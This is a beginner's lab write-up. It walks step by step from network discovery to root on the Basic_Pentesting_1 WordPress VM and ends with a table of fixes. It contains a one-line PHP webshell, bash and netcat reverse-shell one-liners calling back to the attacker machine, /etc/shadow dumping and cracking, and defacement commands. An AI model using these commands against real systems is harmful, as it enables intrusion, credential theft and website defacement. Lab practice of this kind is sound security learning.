⚠️ Disclaimer: Everything here was done in an isolated virtual lab environment (VirtualBox VMs with no internet access). No real systems were involved. This is purely for learning how attacks happen — so defenders know what to protect against.
I kept hearing about website defacements in the news. Indian government portals getting their homepages replaced with political messages. Hospital websites going down. It always felt distant — until I decided actually to understand how it happens.
So I spun up a vulnerable VM (Basic_Pentesting_1) and tried to break it myself. Took me from zero — a blank network — to full root access and a defaced homepage.
Here's everything I did.
Lab Setup
| Role | Machine |
|---|---|
| Attacker | Kali Linux (VirtualBox VM) |
| Target | Ubuntu VM running WordPress |
| Network | NAT Network — fully isolated, no internet |
The target runs Apache, WordPress, FTP (ProFTPD), and SSH. The goal: get root.
The Attack Path at a Glance
Find target on network
↓
Port scan
↓
Find WordPress installation
↓
Map hostname in /etc/hosts
↓
Enumerate WordPress users
↓
Brute-force password
↓
WordPress admin access
↓
┌─────────────────────┐
│ Pick your path: │
│ A) Manual webshell │
│ B) Metasploit │
└─────────────────────┘
↓
Shell as www-data
↓
Read /etc/shadow (misconfiguration!)
↓
Crack password — John the Ripper
↓
SSH as marlinspike
↓
sudo -l → sudo bash
↓
ROOT
↓
Website defaced
Step 1 — Find the Target
First thing: figure out what machines are on the network.
netdiscover
netdiscover sends ARP requests across the subnet and listens for responses. Nothing fancy — it's just asking "who's here?" to every address.
Output:
Currently scanning: 10.0.2.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.5 08:00:27:a1:b2:c3 1 60 PCS Systemtechnik GmbH
10.0.2.5 is the target. The .1 and .2 are the gateway and DNS — ignore them.
Step 2 — Port Scan (Nmap)
Now figure out what's actually running on 10.0.2.5.
sudo nmap -O -sV -sC -Pn 10.0.2.5
| Flag | What it does |
|---|---|
-O |
Try to guess the OS |
-sV |
Detect service versions |
-sC |
Run default scripts (banners, common misconfigs) |
-Pn |
Skip the ping check, just scan |
Output:
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Three open ports — FTP, SSH, and a web server.
The web server is almost always the easiest entry point. That's where we focus.
Note on FTP: ProFTPD 1.3.3c is an old version with known vulnerabilities (including a backdoor that Metasploit can hit directly). We didn't need it this time — but keep it in mind as a backup if the web route was a dead end.
Step 3 — Find the WordPress Install (dirb)
dirb http://10.0.2.5/
dirb runs through a wordlist and brute-forces common directory names against the server — /admin, /login, /secret, etc.
Output:
---- Scanning URL: http://10.0.2.5/ ----
+ http://10.0.2.5/index.html (CODE:200|SIZE:11321)
==> DIRECTORY: http://10.0.2.5/secret/
---- Entering directory: http://10.0.2.5/secret/ ----
+ http://10.0.2.5/secret/wp-login.php (CODE:200|SIZE:2482)
+ http://10.0.2.5/secret/wp-admin/ (CODE:302|SIZE:0)
==> DIRECTORY: http://10.0.2.5/secret/wp-content/
==> DIRECTORY: http://10.0.2.5/secret/wp-includes/
There's a WordPress install hiding at /secret/. The wp-login.php and wp-admin/ confirm it.
Step 4 — Fix the Hostname
If you try loading http://10.0.2.5/secret/ in a browser, it'll look broken — missing CSS, weird redirects. That's because WordPress is configured to serve content using the hostname vtcsec, not the raw IP.
Fix it by mapping the hostname locally on Kali:
sudo nano /etc/hosts
Add this line at the bottom:
10.0.2.5 vtcsec
Save and close. Now http://vtcsec/secret/ loads properly — full WordPress login page.
Step 5 — Find Usernames (WPScan)
WPScan is built specifically for WordPress. By default, WordPress leaks usernames through author URLs and login error messages.
wpscan --url http://vtcsec/secret --enumerate u
Output:
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <=====> (10 / 10) 100.00%
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Login Error Messages (Aggressive Detection)
Username: admin.
Step 6 — Brute-Force the Password
We have a username. Now we throw a wordlist at it.
wpscan --url http://vtcsec/secret \
--usernames admin \
--passwords /usr/share/wordlists/rockyou.txt
rockyou.txt is a real password list from a 2009 data breach — around 14 million passwords. It's the standard starting point for any credential attack.
Output:
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / admin
[i] Valid Combinations Found:
| Username: admin, Password: admin
The password was admin.
Not Admin123. Not P@ssw0rd. Just admin.
This is the part that gets me. You can have the best server hardening in the world — and one weak admin password tears all of it down.
Step 7 — Log In
Go to:
http://vtcsec/secret/wp-admin
Login with admin / admin. You're in.
But WordPress admin access isn't the same as Linux shell access. We need to go deeper.
Step 8 — Get a Shell
This is where you can pick your approach. Both paths end up at the same place.
Path A — Manual (PHP Webshell via Theme Editor)
WordPress has a built-in PHP file editor for themes. That's a serious security risk in production — and exactly what we're about to exploit.
Go to:
Appearance → Theme File Editor → 404.php
Scroll to the bottom and add this one line:
<?php system($_GET['cmd']); ?>
Click Update File.
What this does: when the 404 template loads, PHP runs whatever command you pass in the cmd URL parameter. That's Remote Code Execution (RCE).
Test it:
http://vtcsec/secret/index.php/aaaaa?cmd=whoami
The aaaaa path doesn't exist — it triggers a 404, loading our modified template.
Output in browser:
www-data
We have code execution as www-data (the Apache process user). Now let's turn this into an actual interactive shell.
Set up a listener on Kali:
nc -lvnp 4444
Now trigger the reverse shell. I first tried the classic bash one-liner:
http://vtcsec/secret/index.php/aaaaa?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.4/4444 0>%261'
This didn't work. The Ubuntu target's default sh didn't support the -i >& /dev/tcp syntax the way I expected — and the & characters cause encoding headaches in URLs.
So I switched to a FIFO reverse shell — it's more reliable and doesn't depend on shell-specific flags:
http://vtcsec/secret/index.php/aaaaa?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.0.2.4+4444+>/tmp/f
URL-decoded, that command is:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.4 4444 >/tmp/f
What's happening here:
| Part | What it does |
|---|---|
rm /tmp/f |
Delete the pipe if it already exists |
mkfifo /tmp/f |
Create a named pipe (FIFO) at /tmp/f
|
cat /tmp/f |
Read from the pipe — blocks and waits |
| `\ | /bin/sh -i 2>&1` |
| `\ | nc 10.0.2.4 4444` |
>/tmp/f |
Write Kali's input back into the pipe |
It's a loop. Your commands on Kali go → into the pipe → into the shell → output comes back to you. Doesn't need nc -e.
Back on your Kali terminal:
listening on [any] 4444 ...
connect to [10.0.2.4] from [10.0.2.5] 57412
/bin/sh: 0: can't access tty; job control turned off
$
Shell. ✅
Path B — Metasploit (wp_admin_shell_upload)
If you already have WordPress admin credentials, Metasploit has a module that automates the whole process.
msfconsole
search wp_admin
use exploit/unix/webapp/wp_admin_shell_upload
Configure it:
set RHOSTS 10.0.2.5
set TARGETURI /secret
set USERNAME admin
set PASSWORD admin
run
Output:
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /secret/wp-content/plugins/...
[+] Deleted temp plugin file
[*] Sending stage (39927 bytes) to 10.0.2.5
[*] Meterpreter session 1 opened
meterpreter > shell
Process 1 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
$
Same result — you're inside as www-data.
Step 9 — Look Around
Both paths meet here. You're www-data on the target machine.
whoami
www-data
Check who else is on the system:
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
marlinspike:x:1000:1000:,,,:/home/marlinspike:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Interesting. There's a real user called marlinspike with a home directory and a real shell.
Now the check that shouldn't work — but does:
cat /etc/shadow
root:$6$3GAVhGlB$DEF...hashed...password:17298:0:99999:7:::
marlinspike:$6$7yR1Kz2B$ABC...hashed...password:17298:0:99999:7:::
This worked.
/etc/shadow stores hashed passwords for all users on the system. Normally only root can read it. But the file permissions were misconfigured — www-data could read it too.
That's a critical mistake. One wrong permission on one file, and an attacker has every password hash on the system.
Step 10 — Crack the Passwords (John the Ripper)
Copy the output of /etc/passwd and /etc/shadow into two files on Kali:
# save output to files manually, or use:
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt
Combine them with unshadow (formats things the way John expects):
unshadow passwd.txt shadow.txt > combined.txt
Now crack:
john combined.txt
Output:
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
marlinspike (marlinspike)
1g 0:00:00:03 DONE (2023-05-29 14:32) 0.2941g/s 512.0p/s
Password: marlinspike. The username was the password.
Step 11 — SSH in as marlinspike
ssh marlinspike@vtcsec
Enter marlinspike when it asks for the password.
marlinspike@vtcsec:~$
Stable SSH shell. No more janky reverse connection hanging in a terminal.
Step 12 — Escalate to Root
Check what sudo privileges this user has:
sudo -l
Matching Defaults entries for marlinspike on vtcsec:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User marlinspike may run the following commands on vtcsec:
(ALL : ALL) ALL
(ALL : ALL) ALL — this user can run any command as any user, including root.
sudo bash
root@vtcsec:~#
whoami
root
Done. Full root access.
Step 13 — Defacement (Post-Exploitation Demo)
To show what an attacker could actually do with root:
cd /var/www/html
mv index.html index_backup.html
echo "<h1>You Have Been Hacked!</h1>" > index.html
Visit http://vtcsec — the homepage is now defaced. In a real attack, this is usually when an organization first notices something went wrong.
What Actually Failed Here
This machine didn't fall because of a sophisticated exploit. It fell because five small, boring mistakes all existed at the same time:
-
admin:admincredentials — WPScan broke this in under a minute - WordPress Theme Editor left on — One line of PHP → full RCE on the server
-
/etc/shadowreadable bywww-data— A single file permission mistake handed us every password hash -
marlinspike:marlinspikepassword — Cracked in 3 seconds by a dictionary attack -
(ALL:ALL) ALLsudo privileges — A web server user should never be able tosudo bash
No single one of these is a catastrophic vulnerability. Together, they're a straight road from "I found a web server" to "I own the machine."
How to Fix It
| Problem | Fix |
|---|---|
| Weak WordPress credentials | Strong passwords, limit login attempts |
| Theme Editor enabled | Add define('DISALLOW_FILE_EDIT', true); to wp-config.php
|
/etc/shadow permissions |
chmod 640 /etc/shadow — readable only by root and shadow group |
| Weak system password | Strong, unique password — lock accounts after failed attempts |
| Excessive sudo | Least privilege — only give sudo for what the user actually needs |
Tools Used
| Tool | What it did |
|---|---|
netdiscover |
Found the target on the network |
nmap |
Scanned ports and detected services |
dirb |
Found the WordPress install |
wpscan |
Enumerated users and brute-forced credentials |
nc (Netcat) |
Reverse shell listener |
john + unshadow
|
Cracked the hashed password |
ssh |
Stable access as marlinspike
|
What I'd Try Next
The FTP service (ProFTPD 1.3.3c) was another possible entry point I didn't need this time. That version has a known backdoor that Metasploit can hit directly with exploit/unix/ftp/proftpd_133c_backdoor — which would skip the WordPress phase entirely and drop you straight into a shell. Worth trying if you're running this lab yourself.
- Just documenting what I'm learning in cybersecurity. Next up: PortSwigger Web Security Academy and more structured privilege escalation practice.*
#security #linux #wordpress #beginners #tutorial
Top comments (0)